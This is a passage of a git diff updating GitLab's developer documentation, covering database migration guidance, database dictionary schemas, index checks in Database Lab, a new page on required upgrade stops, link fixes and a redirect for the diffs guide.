guidelines](../merge_request_performance_guidelines.md) have been followed. +1. [Performance guidelines](../merge_request_concepts/performance.md) have been followed. 1. [Secure coding guidelines](https://gitlab.com/gitlab-com/gl-security/security-guidelines) have been followed. 1. [Application and rate limit guidelines](../merge_request_application_and_rate_limit_guidelines.md) have been followed. 1. [Documented](../documentation/index.md) in the `/doc` directory. diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md index b568809ea4e..b08eaed2afa 100644 --- a/doc/development/dangerbot.md +++ b/doc/development/dangerbot.md @@ -190,9 +190,9 @@ Contributors can configure Danger for their forks with the following steps: 1. Create a [personal API token](https://gitlab.com/-/profile/personal_access_tokens?name=GitLab+Dangerbot&scopes=api) that has the `api` scope set (don't forget to copy it to the clipboard). -1. In your fork, add a [project CI/CD variable](../ci/variables/index.md#add-a-cicd-variable-to-a-project) +1. In your fork, add a [project CI/CD variable](../ci/variables/index.md#for-a-project) called `DANGER_GITLAB_API_TOKEN` with the token copied in the previous step. 1. Make the variable [masked](../ci/variables/index.md#mask-a-cicd-variable) so it doesn't show up in the job logs. The variable cannot be - [protected](../ci/variables/index.md#protected-cicd-variables), because it needs + [protected](../ci/variables/index.md#protect-a-cicd-variable), because it needs to be present for all branches. diff --git a/doc/development/database/adding_database_indexes.md b/doc/development/database/adding_database_indexes.md index 6a401c804f5..e1d5a7af6d9 100644 --- a/doc/development/database/adding_database_indexes.md +++ b/doc/development/database/adding_database_indexes.md @@ -294,16 +294,14 @@ end ### Verify the MR was deployed and the index exists in production -You can verify if the post-deploy migration was executed on GitLab.com by: - -- Executing `/chatops run auto_deploy status `. If the output returns `db/gprd`, - the post-deploy migration has been executed in the production database. More details in this - [guide](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom). -- Use a meta-command in #database-lab, such as: `\d `. - - Ensure that the index is not [`invalid`](https://www.postgresql.org/docs/12/sql-createindex.html#:~:text=The%20psql%20%5Cd%20command%20will%20report%20such%20an%20index%20as%20INVALID). -- Ask someone in #database to check if the index exists. -- With proper access, you can also verify directly on production or in a - production clone. +1. Verify that the post-deploy migration was executed on GitLab.com using ChatOps with + `/chatops run auto_deploy status `. If the output returns `db/gprd`, + the post-deploy migration has been executed in the production database. For more information, see + [How to determine if a post-deploy migration has been executed on GitLab.com](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom). +1. In the case of an [index created asynchronously](#schedule-the-index-to-be-created), wait + until the next week so that the index can be created over a weekend. +1. Use [Database Lab](database_lab.md) to check [if creation was successful](database_lab.md#checking-indexes). + Ensure the output does not indicate the index is `invalid`. ### Add a migration to create the index synchronously @@ -394,15 +392,15 @@ You must test the database index changes locally before creating a merge request ### Verify the MR was deployed and the index no longer exists in production -You can verify if the MR was deployed to GitLab.com with -`/chatops run auto_deploy status `. To verify the existence of -the index, you can: - -- Use a meta-command in `#database-lab`, for example: `\d `. -- Make sure the index no longer exists -- Ask someone in `#database` to check if the index exists. -- If you have access, you can verify directly on production or in a - production clone. +1. Verify that the post-deploy migration was executed on GitLab.com using ChatOps with + `/chatops run auto_deploy status `. If the output returns `db/gprd`, + the post-deploy migration has been executed in the production database. For more information, see + [How to determine if a post-deploy migration has been executed on GitLab.com](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom). +1. In the case of an [index removed asynchronously](#schedule-the-index-to-be-removed), wait + until the next week so that the index can be created over a weekend. +1. Use Database Lab [to check if removal was successful](database_lab.md#checking-indexes). + [Database Lab](database_lab.md) + should report an error when trying to find the removed index. If not, the index may still exist. ### Add a migration to destroy the index synchronously diff --git a/doc/development/database/avoiding_downtime_in_migrations.md b/doc/development/database/avoiding_downtime_in_migrations.md index b34c0bbf728..bb6e13eff53 100644 --- a/doc/development/database/avoiding_downtime_in_migrations.md +++ b/doc/development/database/avoiding_downtime_in_migrations.md @@ -282,6 +282,62 @@ Example migration: end ``` +## Changing column defaults + +Changing column defaults is difficult because of how Rails handles values +that are equal to the default. + +If running code ever explicitly writes the old default value of a column, you must follow a multi-step +process to prevent Rails replacing the old default with the new default in INSERT queries that explicitly +specify the old default. + +Doing this requires steps in two minor releases: + +1. Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration. +1. Clean up the `SafelyChangeColumnDefault` concern in the next minor release. + +We must wait a minor release before cleaning up the `SafelyChangeColumnDefault` because self-managed +releases bundle an entire minor release into a single zero-downtime deployment. + +### Step 1: Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration + +The first step is to mark the column as safe to change in application code. + +```ruby +class Ci::Build < ApplicationRecord + include SafelyChangeColumnDefault + + columns_changing_default :partition_id +end +``` + +Then create a **post-deployment migration** to change the default: + +```shell +bundle exec rails g post_deployment_migration change_ci_builds_default +``` + +```ruby +class ChangeCiBuildsDefault < Gitlab::Database::Migration[2.1] + def up + change_column_default('ci_builds', 'partition_id', from: 100, to: 101) + end + + def down + change_column_default('ci_builds', 'partition_id', from: 101, to: 100) + end +end +``` + +You can consider [enabling lock retries](../migration_style_guide.md#usage-with-transactional-migrations) +when you run a migration on big tables, because it might take some time to +acquire a lock on this table. + +### Step 2: Clean up the `SafelyChangeColumnDefault` concern in the next minor release + +In the next minor release, create a new merge request to remove the `columns_changing_default` call. Also remove the `SafelyChangeColumnDefault` include +if it is not needed for a different column. + ## Changing The Schema For Large Tables While `change_column_type_concurrently` and `rename_column_concurrently` can be @@ -319,10 +375,8 @@ This operation is safe as there's no code using the table just yet. Dropping tables can be done safely using a post-deployment migration, but only if the application no longer uses the table. -Add the table to `DELETED_TABLES` in -[gitlab_schema.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/database/gitlab_schema.rb), -along with its `gitlab_schema`. Even though the table is deleted, it is still -referenced in database migrations. +Add the table to [`db/docs/deleted_tables`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/db/docs/deleted_tables) using the process described in [database dictionary](database_dictionary.md#dropping-tables). +Even though the table is deleted, it is still referenced in database migrations. ## Renaming Tables diff --git a/doc/development/database/batched_background_migrations.md b/doc/development/database/batched_background_migrations.md index 71df4da59c3..88fdfab9828 100644 --- a/doc/development/database/batched_background_migrations.md +++ b/doc/development/database/batched_background_migrations.md @@ -269,6 +269,7 @@ In the second (filtered) example, we know exactly 100 will be updated with each class BackfillNamespaceType < BatchedMigrationJob scope_to ->(relation) { relation.where(type: nil) } operation_name :update_all + feature_category :source_code_management def perform each_sub_batch do |sub_batch| @@ -330,6 +331,7 @@ background migration. # end operation_name :update_all + feature_category :source_code_management def perform each_sub_batch( diff --git a/doc/development/database/constraint_naming_convention.md b/doc/development/database/constraint_naming_convention.md index e9e130495e6..4ac1cd2a71d 100644 --- a/doc/development/database/constraint_naming_convention.md +++ b/doc/development/database/constraint_naming_convention.md @@ -18,7 +18,7 @@ The intent is not to retroactively change names in existing databases but rather |--------------------------|---------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------| | **Primary Key** | `pk_` | | `pk_projects` | | **Foreign Key** | `fk_
_[_and_]*_` | | `fk_projects_group_id_groups` | -| **Index** | `index_
_on_[_and_]*[_and_]*` | | `index_repositories_on_group_id` | +| **Index** | `index_
_on_[_and_]*[_and_]*` | Index names must be all lowercase. | `index_repositories_on_group_id` | | **Unique Constraint** | `unique_
_[_and_]*` | | `unique_projects_group_id_and_name` | | **Check Constraint** | `check_
_[_and_]*[_]?` | The optional suffix should denote the type of validation, such as `length` and `enum`. It can also be used to disambiguate multiple `CHECK` constraints on the same column. | `check_projects_name_length`
`check_projects_type_enum`
`check_projects_admin1_id_and_admin2_id_differ` | | **Exclusion Constraint** | `excl_
_[_and_]*_[_]?` | The optional suffix should denote the type of exclusion being performed. | `excl_reservations_start_at_end_at_no_overlap` | diff --git a/doc/development/database/database_dictionary.md b/doc/development/database/database_dictionary.md index d74d7e77edb..b7e6fa4b5b3 100644 --- a/doc/development/database/database_dictionary.md +++ b/doc/development/database/database_dictionary.md @@ -17,7 +17,7 @@ For the `geo` database, the dictionary files are stored under `ee/db/docs/`. ## Example dictionary file ```yaml ---- +---- table_name: terraform_states classes: - Terraform::State @@ -28,45 +28,110 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26619 milestone: '13.0' ``` -## Schema +## Adding tables -| Attribute | Type | Required | Description | -|----------------------------|---------------|----------|-----------------------------------------------------------------------------------| -| `table_name` / `view_name` | String | yes | Database table name or view name | -| `classes` | Array(String) | no | List of classes that are associated to this table or view. | -| `feature_categories` | Array(String) | yes | List of feature categories using this table or view. | -| `description` | String | no | Text description of the information stored in the table or view, and its purpose. | -| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table or view. | -| `milestone` | String | no | The milestone that introduced this table or view. | -| `gitlab_schema` | String | yes | GitLab schema name. | +### Schema -## Adding tables +| Attribute | Type | Required | Description | +|----------------------------|---------------|----------|-------------| +| `table_name` | String | yes | Database table name. | +| `classes` | Array(String) | no | List of classes that are associated to this table. | +| `feature_categories` | Array(String) | yes | List of feature categories using this table. | +| `description` | String | no | Text description of the information stored in the table, and its purpose. | +| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table. | +| `milestone` | String | no | The milestone that introduced this table. | +| `gitlab_schema` | String | yes | GitLab schema name. | -When adding a new table, create a new file under `db/docs/` for the `main` and `ci` databases. -For the `geo` database use `ee/db/docs/`. -Name the file as `.yml`, containing as much information as you know about the table. +### Process -Include this file in the commit with the migration that creates the table. +When adding a table, you should: + +1. Create a new file for this table in the appropriate directory: + - `gitlab_main` table: `db/docs/` + - `gitlab_ci` table: `db/docs/` + - `gitlab_shared` table: `db/docs/` + - `gitlab_geo` table: `ee/db/docs/` +1. Name the file `.yml`, and include as much information as you know about the table. +1. Include this file in the commit with the migration that creates the table. ## Dropping tables -When dropping a table, you must remove the metadata file from `db/docs/` for `main` and `ci` databases. -For the `geo` database, you must remove the file from `ee/db/docs/`. -Use the same commit with the migration that drops the table. +### Schema + +| Attribute | Type | Required | Description | +|----------------------------|---------------|----------|-------------| +| `table_name` | String | yes | Database table name. | +| `classes` | Array(String) | no | List of classes that are associated to this table. | +| `feature_categories` | Array(String) | yes | List of feature categories using this table. | +| `description` | String | no | Text description of the information stored in the table, and its purpose. | +| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table. | +| `milestone` | String | no | The milestone that introduced this table. | +| `gitlab_schema` | String | yes | GitLab schema name. | +| `removed_by_url` | String | yes | URL to the merge request or commit which removed this table. | +| `removed_in_milestone` | String | yes | The milestone that removes this table. | + +### Process + +When dropping a table, you should: + +1. Move the dictionary file for this table to the `deleted_tables` directory: + - `gitlab_main` table: `db/docs/deleted_tables/` + - `gitlab_ci` table: `db/docs/deleted_tables/` + - `gitlab_shared` table: `db/docs/deleted_tables/` + - `gitlab_geo` table: `ee/db/docs/deleted_tables/` +1. Add the fields `removed_by_url` and `removed_in_milestone` to the dictionary file. +1. Include this change in the commit with the migration that drops the table. ## Adding views +### Schema + +| Attribute | Type | Required | Description | +|----------------------------|---------------|----------|-------------| +| `table_name` | String | yes | Database view name. | +| `classes` | Array(String) | no | List of classes that are associated to this view. | +| `feature_categories` | Array(String) | yes | List of feature categories using this view. | +| `description` | String | no | Text description of the information stored in the view, and its purpose. | +| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this view. | +| `milestone` | String | no | The milestone that introduced this view. | +| `gitlab_schema` | String | yes | GitLab schema name. | + +### Process + When adding a new view, you should: 1. Create a new file for this view in the appropriate directory: - - `main` database: `db/docs/views/` - - `ci` database: `db/docs/views/` - - `geo` database: `ee/db/docs/views/` + - `gitlab_main` view: `db/docs/views/` + - `gitlab_ci` view: `db/docs/views/` + - `gitlab_shared` view: `db/docs/views/` + - `gitlab_geo` view: `ee/db/docs/views/` 1. Name the file `.yml`, and include as much information as you know about the view. 1. Include this file in the commit with the migration that creates the view. ## Dropping views -When dropping a view, you must remove the metadata file from `db/docs/views/`. -For the `geo` database, you must remove the file from `ee/db/docs/views/`. -Use the same commit with the migration that drops the view. +## Schema + +| Attribute | Type | Required | Description | +|----------------------------|---------------|----------|-------------| +| `view_name` | String | yes | Database view name. | +| `classes` | Array(String) | no | List of classes that are associated to this view. | +| `feature_categories` | Array(String) | yes | List of feature categories using this view. | +| `description` | String | no | Text description of the information stored in the view, and its purpose. | +| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this view. | +| `milestone` | String | no | The milestone that introduced this view. | +| `gitlab_schema` | String | yes | GitLab schema name. | +| `removed_by_url` | String | yes | URL to the merge request or commit which removed this view. | +| `removed_in_milestone` | String | yes | The milestone that removes this view. | + +### Process + +When dropping a view, you should: + +1. Move the dictionary file for this table to the `deleted_views` directory: + - `gitlab_main` view: `db/docs/deleted_views/` + - `gitlab_ci` view: `db/docs/deleted_views/` + - `gitlab_shared` view: `db/docs/deleted_views/` + - `gitlab_geo` view: `ee/db/docs/deleted_views/` +1. Add the fields `removed_by_url` and `removed_in_milestone` to the dictionary file. +1. Include this change in the commit with the migration that drops the view. diff --git a/doc/development/database/database_lab.md b/doc/development/database/database_lab.md index b60091fa37c..162fc597cc4 100644 --- a/doc/development/database/database_lab.md +++ b/doc/development/database/database_lab.md @@ -75,6 +75,45 @@ the new index. `exec` does not return any results, only the time required to exe After many changes, such as after a destructive query or an ineffective index, you must start over. To reset your designated clone, run `reset`. +#### Checking indexes + +Use Database Lab to check the status of an index with the meta-command `\d `. + +Caveats: + +- Indexes are created in both the `main` and `ci` databases, so be sure to use the instance + that matches the table's `gitlab_schema`. For example, if the index is added to + [`ci_builds`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/docs/ci_builds.yml#L14), + use `gitlab-production-ci`. +- Database Lab typically has a small delay of a few hours. If more up-to-date information + is required, you can instead request access to a replica [via Teleport](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/Teleport/Connect_to_Database_Console_via_Teleport.md) + +For example: `\d index_design_management_designs_on_project_id` produces: + +```plaintext +Index "public.index_design_management_designs_on_project_id" + Column | Type | Key? | Definition +------------+---------+------+------------ + project_id | integer | yes | project_id +btree, for table "public.design_management_designs" +``` + +In the case of an invalid index, the output ends with `invalid`, like: + +```plaintext +Index "public.index_design_management_designs_on_project_id" + Column | Type | Key? | Definition +------------+---------+------+------------ + project_id | integer | yes | project_id +btree, for table "public.design_management_designs", invalid +``` + +If the index doesn't exist, JoeBot throws an error like: + +```plaintext +ERROR: psql error: psql:/tmp/psql-query-932227396:1: error: Did not find any relation named "no_index". +``` + ### Migration testing For information on testing migrations, review our diff --git a/doc/development/database/index.md b/doc/development/database/index.md index c244d784422..5abc7cd3ffa 100644 --- a/doc/development/database/index.md +++ b/doc/development/database/index.md @@ -23,59 +23,59 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Migrations -- [Different types of migrations](../migration_style_guide.md#choose-an-appropriate-migration-type) -- [Create a regular migration](../migration_style_guide.md#create-a-regular-schema-migration), including creating new models -- [Post-deployment migrations guidelines](post_deployment_migrations.md) and [how to create one](post_deployment_migrations.md#creating-migrations) -- [Legacy Background migrations guidelines](background_migrations.md) +- [Adding required stops](required_stops.md) +- [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md) - [Batched background migrations guidelines](batched_background_migrations.md) +- [Create a regular migration](../migration_style_guide.md#create-a-regular-schema-migration), including creating new models - [Deleting migrations](deleting_migrations.md) -- [Running database migrations](database_debugging.md#migration-wrangling) +- [Different types of migrations](../migration_style_guide.md#choose-an-appropriate-migration-type) +- [Legacy background migrations guidelines](background_migrations.md) - [Migrations for multiple databases](migrations_for_multiple_databases.md) -- [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md) -- [When and how to write Rails migrations tests](../testing_guide/testing_migrations_guide.md) - [Migrations style guide](../migration_style_guide.md) for creating safe SQL migrations -- [Testing Rails migrations](../testing_guide/testing_migrations_guide.md) guide -- [Post deployment migrations](post_deployment_migrations.md) -- [Swapping tables](swapping_tables.md) -- [Deleting migrations](deleting_migrations.md) -- [SQL guidelines](../sql.md) for working with SQL queries - [Partitioning tables](table_partitioning.md) +- [Post-deployment migrations guidelines](post_deployment_migrations.md) and [how to create one](post_deployment_migrations.md#creating-migrations) +- [Running database migrations](database_debugging.md#migration-wrangling) +- [SQL guidelines](../sql.md) for working with SQL queries +- [Swapping tables](swapping_tables.md) +- [Testing Rails migrations](../testing_guide/testing_migrations_guide.md) guide +- [When and how to write Rails migrations tests](../testing_guide/testing_migrations_guide.md) ## Debugging -- [Resetting the database](database_debugging.md#delete-everything-and-start-over) - [Accessing the database](database_debugging.md#manually-access-the-database) +- [Resetting the database](database_debugging.md#delete-everything-and-start-over) - [Troubleshooting and debugging the database](database_debugging.md) -- Tracing the source of an SQL query using query comments with [Marginalia](database_query_comments.md) -- Tracing the source of an SQL query in Rails console using [Verbose Query Logs](https://guides.rubyonrails.org/debugging_rails_applications.html#verbose-query-logs) +- Tracing the source of an SQL query: + - In Rails console using [Verbose Query Logs](https://guides.rubyonrails.org/debugging_rails_applications.html#verbose-query-logs) + - Using query comments with [Marginalia](database_query_comments.md) ## Best practices - [Adding database indexes](adding_database_indexes.md) -- [Foreign keys & associations](foreign_keys.md) - [Adding a foreign key constraint to an existing column](add_foreign_key_to_existing_column.md) -- [`NOT NULL` constraints](not_null_constraints.md) -- [Strings and the Text data type](strings_and_the_text_data_type.md) -- [Single table inheritance](single_table_inheritance.md) -- [Polymorphic associations](polymorphic_associations.md) -- [Serializing data](serializing_data.md) +- [Check for background migrations before upgrading](../../update/background_migrations.md) +- [Client-side connection-pool](client_side_connection_pool.md) +- [Constraints naming conventions](constraint_naming_convention.md) +- [Creating enums](creating_enums.md) +- [Data layout and access patterns](layout_and_access_patterns.md) +- [Efficient `IN` operator queries](efficient_in_operator_queries.md) +- [Foreign keys & associations](foreign_keys.md) - [Hash indexes](hash_indexes.md) -- [Storing SHA1 hashes as binary](sha1_as_binary.md) -- [Iterating tables in batches](iterating_tables_in_batches.md) - [Insert into tables in batches](insert_into_tables_in_batches.md) +- [Iterating tables in batches](iterating_tables_in_batches.md) +- [`NOT NULL` constraints](not_null_constraints.md) - [Ordering table columns](ordering_table_columns.md) -- [Verifying database capabilities](verifying_database_capabilities.md) -- [Query Count Limits](query_count_limits.md) -- [Creating enums](creating_enums.md) -- [Client-side connection-pool](client_side_connection_pool.md) -- [Updating multiple values](setting_multiple_values.md) -- [Constraints naming conventions](constraint_naming_convention.md) -- [Query performance guidelines](query_performance.md) - [Pagination guidelines](pagination_guidelines.md) - [Pagination performance guidelines](pagination_performance_guidelines.md) -- [Efficient `IN` operator queries](efficient_in_operator_queries.md) -- [Data layout and access patterns](layout_and_access_patterns.md) -- [Check for background migrations before upgrading](../../update/background_migrations.md) +- [Polymorphic associations](polymorphic_associations.md) +- [Query count limits](query_count_limits.md) +- [Query performance guidelines](query_performance.md) +- [Serializing data](serializing_data.md) +- [Single table inheritance](single_table_inheritance.md) +- [Storing SHA1 hashes as binary](sha1_as_binary.md) +- [Strings and the Text data type](strings_and_the_text_data_type.md) +- [Updating multiple values](setting_multiple_values.md) +- [Verifying database capabilities](verifying_database_capabilities.md) ## Case studies diff --git a/doc/development/database/pagination_guidelines.md b/doc/development/database/pagination_guidelines.md index 54b315b9dd9..aeab45e2158 100644 --- a/doc/development/database/pagination_guidelines.md +++ b/doc/development/database/pagination_guidelines.md @@ -62,7 +62,7 @@ Offset-based pagination is the easiest way to paginate over records, however, it - Avoid presenting total counts, prefer limit counts. - Example: count maximum 1001 records, and then on the UI show 1000+ if the count is 1001, show the actual number otherwise. - - See the [badge counters approach](../merge_request_performance_guidelines.md#badge-counters) for more information. + - See the [badge counters approach](../merge_request_concepts/performance.md#badge-counters) for more information. - Avoid using page numbers, use next and previous page buttons. - Keyset pagination doesn't support page numbers. - For APIs, advise against building URLs for the next page by "hand". diff --git a/doc/development/database/query_recorder.md b/doc/development/database/query_recorder.md index 84bd0fc938f..dfaaf8afcde 100644 --- a/doc/development/database/query_recorder.md +++ b/doc/development/database/query_recorder.md @@ -10,7 +10,7 @@ QueryRecorder is a tool for detecting the [N+1 queries problem](https://guides.r > Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a) -As a rule, merge requests [should not increase query counts](../merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem. +As a rule, merge requests [should not increase query counts](../merge_request_concepts/performance.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem. ## How it works @@ -52,7 +52,7 @@ there are no N+1 queries. Rather than make an extra request to warm the cache, p ## Cached queries -By default, QueryRecorder ignores [cached queries](../merge_request_performance_guidelines.md#cached-queries) in the count. However, it may be better to count +By default, QueryRecorder ignores [cached queries](../merge_request_concepts/performance.md#cached-queries) in the count. However, it may be better to count all queries to avoid introducing an N+1 query that may be masked by the statement cache. To do this, this requires the `:use_sql_query_cache` flag to be set. You should pass the `skip_cached` variable to `QueryRecorder` and use the `exceed_all_query_limit` matcher: @@ -146,5 +146,5 @@ There are multiple ways to find the source of queries. - [Bullet](../profiling.md#bullet) For finding `N+1` query problems - [Performance guidelines](../performance.md) -- [Merge request performance guidelines - Query counts](../merge_request_performance_guidelines.md#query-counts) -- [Merge request performance guidelines - Cached queries](../merge_request_performance_guidelines.md#cached-queries) +- [Merge request performance guidelines - Query counts](../merge_request_concepts/performance.md#query-counts) +- [Merge request performance guidelines - Cached queries](../merge_request_concepts/performance.md#cached-queries) diff --git a/doc/development/database/required_stops.md b/doc/development/database/required_stops.md new file mode 100644 index 00000000000..46fabb5c1b4 --- /dev/null +++ b/doc/development/database/required_stops.md @@ -0,0 +1,41 @@ +--- +stage: Data Stores +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Adding required stops + +Required stops should only be added when it is deemed absolutely necessary, due to their +disruptive effect on customers. Before adding a required stop, consider if any +alternative approaches exist to avoid a required stop. Sometimes a required +stop is unavoidable. In those cases, follow the instructions below. + +## Before the required stop is released + +Before releasing a known required stop, complete these steps. If the required stop +is identified after release, the following steps must still be completed: + +1. Update [upgrade paths](../../update/index.md#upgrade-paths) to include the new + required stop. +1. Communicate the changes with the customer Support and Release management teams. +1. File an issue with the Database group to squash migrations to that version in the + next release. Use this template for your issue: + + ```markdown + Title: `Squash migrations to ` + As a result of the required stop added for we should squash + migrations up to that version, and update the minimum schema version. + + Deliverables: + - [ ] Migrations are squashed up to + - [ ] `Gitlab::Database::MIN_SCHEMA_VERSION` matches init_schema version + + /label ~"group::database" ~"section::enablement" ~"devops::data_stores" ~"Category:Database" ~"type::maintenance" + /cc @gitlab-org/database-team/triage + ``` + +## In the release following the required stop + +1. Update `Gitlab::Database::MIN_SCHEMA_GITLAB_VERSION` in `lib/gitlab/database.rb` to the + new required stop versions. Do not change `Gitlab::Database::MIN_SCHEMA_VERSION`. diff --git a/doc/development/database/setting_multiple_values.md b/doc/development/database/setting_multiple_values.md index fb85386785d..48be7ff9f10 100644 --- a/doc/development/database/setting_multiple_values.md +++ b/doc/development/database/setting_multiple_values.md @@ -32,7 +32,7 @@ update issues where id = obj_id ``` -You can't express this in ActiveRecord, or by dropping down to [Arel](https://api.rubyonrails.org/v6.1.0/classes/Arel.html), +You can't express this in ActiveRecord, or by dropping down to [Arel](https://api.rubyonrails.org/classes/Arel.html), because the `UpdateManager` does not support `update from`. However, we supply an abstraction to help you generate these kinds of updates: `Gitlab::Database::BulkUpdate`. This abstraction constructs queries like the previous example, and uses diff --git a/doc/development/database/table_partitioning.md b/doc/development/database/table_partitioning.md index 5f1deb77b6c..30131fc0347 100644 --- a/doc/development/database/table_partitioning.md +++ b/doc/development/database/table_partitioning.md @@ -389,7 +389,8 @@ class PrepareForeignKeyForPartitioning < Gitlab::Database::Migration[2.1] TARGET_TABLE_NAME, column: [PARTITION_COLUMN, COLUMN], target_column: [PARTITION_COLUMN, TARGET_COLUMN], - validate: false + validate: false, + on_update: :cascade, name: CONSTRAINT_NAME ) @@ -402,6 +403,13 @@ class PrepareForeignKeyForPartitioning < Gitlab::Database::Migration[2.1] end ``` +The `on_update: :cascade` option is mandatory if we want the partitioning column +to be updated. This will cascade the update to all dependent rows. Without +specifying it, updating the partition column on the target table we would +result in a `Key is still referenced from table ...` error and updating the +partition column on the source table would raise a +`Key is not present in table ...` error. + ### Step 6 - Create parent table and attach existing table as the initial partition You can now create the parent table attaching the existing table as the initial diff --git a/doc/development/database_review.md b/doc/development/database_review.md index e66be062986..048482960f4 100644 --- a/doc/development/database_review.md +++ b/doc/development/database_review.md @@ -275,4 +275,4 @@ Include in the MR description: - [Check query plans](database/understanding_explain_plans.md) and suggest improvements to queries (changing the query, schema or adding indexes and similar) - General guideline is for queries to come in below [100ms execution time](database/query_performance.md#timing-guidelines-for-queries) - - Avoid N+1 problems and minimize the [query count](merge_request_performance_guidelines.md#query-counts). + - Avoid N+1 problems and minimize the [query count](merge_request_concepts/performance.md#query-counts). diff --git a/doc/development/deprecation_guidelines/img/deprecation_removal_process.png b/doc/development/deprecation_guidelines/img/deprecation_removal_process.png index 594e15861b0..3020387d052 100644 Binary files a/doc/development/deprecation_guidelines/img/deprecation_removal_process.png and b/doc/development/deprecation_guidelines/img/deprecation_removal_process.png differ diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md index be4a3369dcb..f4af005b849 100644 --- a/doc/development/deprecation_guidelines/index.md +++ b/doc/development/deprecation_guidelines/index.md @@ -33,7 +33,6 @@ https://about.gitlab.com/handbook/product/gitlab-the-product/#definitions - No longer tested internally. - Will be removed in a future major release. - Begins after an end-of-support date has passed. -- Ends after all relevant code has been removed. [Announcing an End of Support period](https://about.gitlab.com/handbook/marketing/blog/release-posts/#announcing-an-end-of-support-period) should only be used in special circumstances and is not recommended for general use. @@ -42,12 +41,11 @@ Most features should be deprecated and then removed. **Removal**: - Feature usage impossible. +- Feature no longer supported (if End of Support period hasn't already been announced). - Happens in a major release in line with our [semantic versioning policy](../../policy/maintenance.md). - Begins after removal date has passed. -![Deprecation, End of Support, Removal process](img/deprecation_removal_process.png) - **Breaking change**: A "breaking change" is any change that requires users to make a corresponding change to their code, settings, or workflow. "Users" might be humans, API clients, or even code classes that "use" another class. Examples of breaking changes include: @@ -58,6 +56,8 @@ A "breaking change" is any change that requires users to make a corresponding ch A breaking change can be considered major if it affects many users, or represents a significant change in behavior. +![Deprecation, End of Support, Removal process](img/deprecation_removal_process.png) + ## When can a feature be deprecated? Deprecations should be announced on the [Deprecated feature removal schedule](../../update/deprecations.md). diff --git a/doc/development/diffs.md b/doc/development/diffs.md index b38fcea4f00..c84bf57e085 100644 --- a/doc/development/diffs.md +++ b/doc/development/diffs.md @@ -1,199 +1,11 @@ --- -stage: Create -group: Code Review -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +redirect_to: 'merge_request_concepts/diffs/index.md' +remove_date: '2023-04-10' --- -# Working with diffs +This document was moved to [another location](merge_request_concepts/diffs/index.md). -We rely on different sources to present diffs. These include: - -- Gitaly service -- Database (through `merge_request_diff_files`) -- Redis (cached highlighted diffs) - -## Deep Dive - - - -In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only: -`https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab Diffs and Commenting on Diffs -functionality to share domain-specific knowledge with anyone who may work in this part of the -codebase in the future: - - - -- - [Recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek) -- Slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit) -- [PDF slides](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/) - -Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may -have changed since then, it should still serve as a good introduction. - -## Architecture overview - -### Merge request diffs - -When refreshing a merge request (pushing to a source branch, force-pushing to target branch, or if the target branch now contains any commits from the MR) -we fetch the comparison information using `Gitlab::Git::Compare`, which fetches `base` and `head` data using Gitaly and diff between them through -`Gitlab::Git::Diff.between`. -The diffs fetching process _limits_ single file diff sizes and the overall size of the whole diff through a series of constant values. Raw diff files are -then persisted on `merge_request_diff_files` table. - -Even though diffs larger than 10% of the value of `ApplicationSettings#diff_max_patch_bytes` are collapsed, -we still keep them on PostgreSQL. However, diff files larger than defined _safety limits_ -(see the [Diff limits section](#diff-limits)) are _not_ persisted in the database. - -In order to present diffs information on the merge request diffs page, we: - -1. Fetch all diff files from database `merge_request_diff_files` -1. Fetch the _old_ and _new_ file blobs in batch to: - - Highlight old and new file content - - Know which viewer it should use for each file (text, image, deleted, etc) - - Know if the file content changed - - Know if it was stored externally - - Know if it had storage errors -1. If the diff file is cacheable (text-based), it's cached on Redis - using `Gitlab::Diff::FileCollection::MergeRequestDiff` - -### Note diffs - -When commenting on a diff (any comparison), we persist a truncated diff version -on 